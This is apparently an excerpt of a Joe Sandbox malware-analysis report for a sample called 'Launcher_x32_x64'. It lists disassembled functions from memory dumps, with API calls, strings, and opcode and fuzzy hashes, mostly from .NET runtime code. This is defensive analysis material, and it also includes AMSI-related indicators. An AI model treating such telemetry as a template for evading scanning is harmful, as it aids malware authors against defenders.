Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: AddressCriticalProcSection$DeleteFreeHeapLeave
String ID: AmsiInitialize$AmsiScanBuffer$amsi.dll$coreclr
API String ID: 2465865910-2862599151
Opcode ID: 6bb8f84cead622111fc932a17481850cbe3902451121d2d2777b9c24a7cdaa6c
Instruction ID: 1a0269b548c1e326cdc4c3cee2e3c5564fc51f8774013aa1b416cf250ed487a6
Opcode Fuzzy Hash: 6bb8f84cead622111fc932a17481850cbe3902451121d2d2777b9c24a7cdaa6c
Instruction Fuzzy Hash: 2751D271E003199BDB209F69D8C47AABBB8FF44764F144169E905A33A6DB74AC01DFE0

Function 011453F0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 127memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(014B6530,00000000,00000000,014B6530,?,01143119,00000000,00000000,00000000,00000000,00000000), ref: 01145404
HeapAlloc.KERNEL32(03A20000,00000000,00000030,014B6530,00000000,00000000,014B6530,?,01143119,00000000,00000000,00000000,00000000,00000000), ref: 01145421
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(Microsoft-DotNETCore-SampleProfiler,00000000,00000000,00000000,?,?,?,?,?,?,?,0113E834,00000000,00000000,?,?), ref: 01145463
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00000000,00000000,?,?,?,?,?,?,?,0113E834,00000000,00000000,?,?), ref: 0114550D

Part of subcall function 0113E380: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,Microsoft-DotNETCore-SampleProfiler,000000FF,00000000,00000000,00000000,Microsoft-DotNETCore-SampleProfiler,014B6530,0114547A), ref: 0113E397
Part of subcall function 0113E380: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,0113E834,00000000,00000000,?), ref: 0113E3A7
Part of subcall function 0113E380: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,Microsoft-DotNETCore-SampleProfiler,000000FF,00000000,00000000), ref: 0113E3C2
Part of subcall function 0113E380: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,0113E834,00000000,00000000), ref: 0113E3CD

Part of subcall function 0113D530: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(0000000C,011467E7,00000000,00000000,00000000,?,?,?,?,?,?,01145D1E), ref: 0113D532

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00000000,00000000,?,?,?,?,?,?,?,0113E834,00000000,00000000,?,?), ref: 0114552F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00000000,00000000,?,?,?,?,?,?,?,0113E834,00000000,00000000,?,?), ref: 01145540

Strings

Microsoft-DotNETCore-SampleProfiler, xrefs: 01145462

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: free$ByteCharHeapMultiWidemalloc$AllocProcess_strdup
String ID: Microsoft-DotNETCore-SampleProfiler
API String ID: 2807844882-2073707973
Opcode ID: 8e29b5be1497a26fe297ee45ea5ec6fdadd346b26553919c33257703a97267d8
Instruction ID: 912e7897355f29ba0c76b095b7d0745b2c3da17e260c40aa9079bf7cda6b4ac5
Opcode Fuzzy Hash: 8e29b5be1497a26fe297ee45ea5ec6fdadd346b26553919c33257703a97267d8
Instruction Fuzzy Hash: B141D571700712ABEB19DF6DF85472ABBA9FF50B18F044129E909CB684EB30E450CBD5

Function 011466C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,00000000,?,?,0113ECE3,80020139,00000000,00000000), ref: 011466D3
HeapAlloc.KERNEL32(03A20000,00000000,00000018,?,00000000,?,?,0113ECE3,80020139,00000000,00000000), ref: 011466F0
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(Microsoft-Windows-DotNETRuntimeRundown,?,0113ECE3,80020139,00000000,00000000,?,?,?,?,?,?,?,?,0113EF44,?), ref: 0114672B
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(0113ECE3,?,0113ECE3,80020139,00000000,00000000,?,?,?,?,?,?,?,?,0113EF44,?), ref: 01146742
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,?,?,?,?,?,?,0113EF44,?,?,95E4D7D1,?,00000000), ref: 0114675A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,?,?,?,?,?,?,0113EF44,?,?,95E4D7D1,?,00000000), ref: 0114676A

Strings

Microsoft-Windows-DotNETRuntimeRundown, xrefs: 0114672A

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap_strdupfree$AllocProcess
String ID: Microsoft-Windows-DotNETRuntimeRundown
API String ID: 3838182309-930870680
Opcode ID: 82de3ae79cd11c92b5e681b1cded715c217854796b5eb46a68a8d14e7919a980
Instruction ID: e5e8cb6adf5705457425d6ec9d0ccd8f630b70c10e52871074cc0ebe12ceac1d
Opcode Fuzzy Hash: 82de3ae79cd11c92b5e681b1cded715c217854796b5eb46a68a8d14e7919a980
Instruction Fuzzy Hash: 2621A071700B019BE725DF3DF884A16B7ECAF55729F00853AE949C7200EB30D850CBA1

Function 0109B5D0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 77threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0109B4B0: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104), ref: 0109B553
Part of subcall function 0109B4B0: HeapFree.KERNEL32(00000000,00000000,95E4D7D1), ref: 0109B587

GetCurrentThreadId.KERNEL32 ref: 0109B62C
GetCurrentThreadId.KERNEL32 ref: 0109B633
GetCurrentProcessId.KERNEL32(00000000,?,00EF51CE,(BYTE*)JIT_PatchedCodeLast - (BYTE*)JIT_PatchedCodeStart > (ptrdiff_t)0,95E4D7D1,?,00000000), ref: 0109B63A
GetCurrentProcessId.KERNEL32(00000000,?,00EF51CE,(BYTE*)JIT_PatchedCodeLast - (BYTE*)JIT_PatchedCodeStart > (ptrdiff_t)0,95E4D7D1,?,00000000), ref: 0109B641

Part of subcall function 00E76570: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,?,0140E6B0,0109B67B,0140E6B0,00000000), ref: 00E76578

Strings

ASSERT:%s, line:%d, xrefs: 0109B690
CLR: Assert failure(PID %d [0x%08x], Thread: %d [0x%x]): %s File: %s, Line: %d Image:%s, xrefs: 0109B64B
D:\a\_work\1\s\src\coreclr\vm\threads.cpp, xrefs: 0109B628, 0109B68F

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Current$ProcessThread$FileFreeHeapModuleName__acrt_iob_func
String ID: ASSERT:%s, line:%d$CLR: Assert failure(PID %d [0x%08x], Thread: %d [0x%x]): %s File: %s, Line: %d Image:%s$D:\a\_work\1\s\src\coreclr\vm\threads.cpp
API String ID: 2833047936-3825138699
Opcode ID: 9981ddf942cb9a26e85dcf0f33b310cd43772f858761ff73fa2ff4b30ff1437a
Instruction ID: cce3470eac5632aeb28959fb0701a7ce71aaf26f8c7697c461ff5d75e05e36b4
Opcode Fuzzy Hash: 9981ddf942cb9a26e85dcf0f33b310cd43772f858761ff73fa2ff4b30ff1437a
Instruction Fuzzy Hash: BB119DB2810114ABCF14FBA2EC29EEF7ABCAF54B14F408428F505A3161EE385904C7A1

Function 00E3E110 Relevance: 12.2, APIs: 8, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,95E4D7D1,03A86940,00000000), ref: 00E3E1C6
HeapFree.KERNEL32(00000000,?,95E4D7D1,03A86940,00000000), ref: 00E3E1DF
DeleteCriticalSection.KERNEL32(?,?,95E4D7D1,03A86940,00000000), ref: 00E3E239
DeleteCriticalSection.KERNEL32(?,?,95E4D7D1,03A86940,00000000), ref: 00E3E279
DeleteCriticalSection.KERNEL32(?,?,95E4D7D1,03A86940,00000000), ref: 00E3E2B9
DeleteCriticalSection.KERNEL32(?,?,95E4D7D1,03A86940,00000000), ref: 00E3E2F6
DeleteCriticalSection.KERNEL32(?,?,95E4D7D1,03A86940,00000000), ref: 00E3E333
DeleteCriticalSection.KERNEL32(?,?,95E4D7D1,03A86940,00000000), ref: 00E3E376

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CriticalDeleteSection$FreeHeap
String ID:
API String ID: 447823528-0
Opcode ID: 322fdb71a62e9e22aeebd0676f57ec7fb9611e21974474b9feecb762526abedf
Instruction ID: eb41b06609c27de7c92643dabaf381ce63e0fc2a3a64101e19070ae19168080d
Opcode Fuzzy Hash: 322fdb71a62e9e22aeebd0676f57ec7fb9611e21974474b9feecb762526abedf
Instruction Fuzzy Hash: 0B81BD30901248EBDB11DF64D849BAEBFF8AF61304F504698E841F72A1D7B4AA49DBD1

Function 0109A1D0 Relevance: 12.2, APIs: 5, Strings: 3, Instructions: 196memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,00000000,00000000,CLSID\), ref: 0109A2CC
HeapFree.KERNEL32(00000000,?,00000000,?,0140FE54,?,00000000,00000000,CLSID\), ref: 0109A322

Strings

InprocServer32, xrefs: 0109A328
CLSID\, xrefs: 0109A28B
SOFTWARE\Classes\, xrefs: 0109A396

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID: CLSID\$InprocServer32$SOFTWARE\Classes\
API String ID: 3298025750-3190388074
Opcode ID: 9acf2f694404626c748d410dc388a74f3105d1c0c3a04ce42a8274df02c7ddca
Instruction ID: ca20d9b11c5ad31e993d03446d745d32f97e424322ea72498239d4ef10c83ac4
Opcode Fuzzy Hash: 9acf2f694404626c748d410dc388a74f3105d1c0c3a04ce42a8274df02c7ddca
Instruction Fuzzy Hash: 709181B0904258DBEF60DB24DC98B9EBBF4AF05304F5082DCE549A7291DB741E88DF54

Function 0113B770 Relevance: 10.8, APIs: 6, Strings: 1, Instructions: 343memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?,?,?,014AA768,03A903A0,03A8FF50), ref: 0113B9BC
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,014AA768,03A903A0,03A8FF50), ref: 0113BA77
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,014AA768,03A903A0,03A8FF50), ref: 0113BB1C
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,014AA768,03A903A0,03A8FF50), ref: 0113BB69
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,014AA768,03A903A0,03A8FF50), ref: 0113BC3C
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,014AA768,03A903A0,03A8FF50), ref: 0113BC5E

Strings

NULL, xrefs: 0113B7B5

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID: NULL
API String ID: 3298025750-324932091
Opcode ID: 226cd49e35821cbadf4be92d5517430971fd57d4eab3e5d1c0e7f450564bde90
Instruction ID: d55f37a474a06a5986037fcb76e5eb691deb5e63c90fe7f9ab72575d222f35cf
Opcode Fuzzy Hash: 226cd49e35821cbadf4be92d5517430971fd57d4eab3e5d1c0e7f450564bde90
Instruction Fuzzy Hash: 83E1C370E042299FDB39CF28DC94B9AB7B9AF45304F0441E9D94DA7245EB309E84CF95

Function 00E7F740 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 283COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(?,00000001,00000000,?,?), ref: 00E7F951
RaiseException.KERNEL32(?,00000001,00000000,?), ref: 00E7F966

Strings

RCC, xrefs: 00E7F8F7
******* MANAGED EXCEPTION THROWN: Object thrown: %p MT %pT rethrow %d, xrefs: 00E7F79C
Exception HRESULT = 0x%x Message String 0x%p (db will display) InnerException %p MT %pT, xrefs: 00E7F82D
Exception HRESULT = 0x%x , xrefs: 00E7F7D3

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ExceptionRaise
String ID: ******* MANAGED EXCEPTION THROWN: Object thrown: %p MT %pT rethrow %d$Exception HRESULT = 0x%x $Exception HRESULT = 0x%x Message String 0x%p (db will display) InnerException %p MT %pT$RCC
API String ID: 3997070919-4002280689
Opcode ID: dfd2f873e7ff30edc5990b354d492e020fb7bf1b27a8f9718f2e469c57853b39
Instruction ID: 70ac965dd39e08cee21d6e49e0d075e4d4025752c933c7bf3c70774a8bb56d03
Opcode Fuzzy Hash: dfd2f873e7ff30edc5990b354d492e020fb7bf1b27a8f9718f2e469c57853b39
Instruction Fuzzy Hash: 0891C070E00209ABDB14EFA5CC45BAEBBF9EF88704F149539E909B7291DB749D01CB61

Function 0114C400 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 218memoryCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?,01148990), ref: 0114C454
GetProcessHeap.KERNEL32 ref: 0114C4F8
HeapAlloc.KERNEL32(03A20000,00000000,00000008), ref: 0114C515

Strings

Received unknown request type (%d), xrefs: 0114C613
Failed to send DiagnosticsIPC response, xrefs: 0114C491

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap$AllocEventProcess
String ID: Failed to send DiagnosticsIPC response$Received unknown request type (%d)
API String ID: 2595971980-3162944085
Opcode ID: 459163dec3d16bc92b0f9cb7ac2b98c553e94938db7bceedc7971224e284b33b
Instruction ID: e6191598703910d1967385967d512b618bd6910b61fb7d86d7790de5e1eb2337
Opcode Fuzzy Hash: 459163dec3d16bc92b0f9cb7ac2b98c553e94938db7bceedc7971224e284b33b
Instruction Fuzzy Hash: C9519F327821115BDB25AB7DF8957EEB784EB93E25F04016BEA4CCB390DF22880587D4

Function 00FF6090 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 199memoryCOMMON

Download Yara Rule

APIs

wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?, at,00000005,00000004,00000000), ref: 00FF6162
HeapFree.KERNEL32(00000000,?), ref: 00FF6206
HeapFree.KERNEL32(00000000,?,?,0140CF58,?, ), ref: 00FF6286
HeapFree.KERNEL32(00000000,?,00FF5F20,?,00000009,00000000,?,0140CF58,?, ), ref: 00FF62C6

Strings

, xrefs: 00FF623B
at, xrefs: 00FF6157

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap$wcscpy_s
String ID: $ at
API String ID: 1983039323-3158221822
Opcode ID: 1ee8795c221bb8efcdba13908abd5ef4c7a300624b42fdc28a1ac65940bb2cde
Instruction ID: 4b47ce55610e59191e2176112b95ed6f690e81edb66e955faf9bcf3d76b52bef
Opcode Fuzzy Hash: 1ee8795c221bb8efcdba13908abd5ef4c7a300624b42fdc28a1ac65940bb2cde
Instruction Fuzzy Hash: 9E719C71E0020CEBEF14DFA5D985BAEBBB5EF44720F144229E911E72A1DB74A905DB80

Function 0109F2F0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156filememoryCOMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32(?), ref: 0109F3A2
VirtualAlloc.KERNEL32(00000001,?,00001000,00000004,00000000,95E4D7D1,00000000), ref: 0109F462
UnmapViewOfFile.KERNEL32(00000001), ref: 0109F478
VirtualFree.KERNEL32(00000001,00000000,00008000,95E4D7D1,00000000,00000000,?,?,00000001,?), ref: 0109F4BA

Strings

Releasing the double mapped memory failed, xrefs: 0109F48A
The RX block to release was not found, xrefs: 0109F37B

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Virtual$AllocCriticalFileFreeLeaveSectionUnmapView
String ID: Releasing the double mapped memory failed$The RX block to release was not found
API String ID: 3116524496-1729741344
Opcode ID: 983779e02accea13ee4595fc1d5e6ab865739c0c5acf21e6ffc306171f7ab52e
Instruction ID: 2c1b21753ddd1ef0dc08986f43d878ef9c125d93610f11f4efcd5ffef2104e8a
Opcode Fuzzy Hash: 983779e02accea13ee4595fc1d5e6ab865739c0c5acf21e6ffc306171f7ab52e
Instruction Fuzzy Hash: C251D071600212DFEF20DF29D894BAABFF4FF45754F14816AEA45E7291CB74A801DB90

Function 0108B790 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000040,DOTNET_,95E4D7D1,80131506,0000000A,?), ref: 0108B84F
wcscat_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000040,0141FBEC), ref: 0108B867
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000040,COMPlus_), ref: 0108B92E
wcscat_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000040,0141FBEC), ref: 0108B941

Strings

DOTNET_, xrefs: 0108B841
COMPlus_, xrefs: 0108B858, 0108B924

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: wcscat_swcscpy_s
String ID: COMPlus_$DOTNET_
API String ID: 1337066035-1316173318
Opcode ID: 9ec2d1ed6f390d413e0623ffd5e13cc3a2c48198c79717825de5ae0e6d456a6a
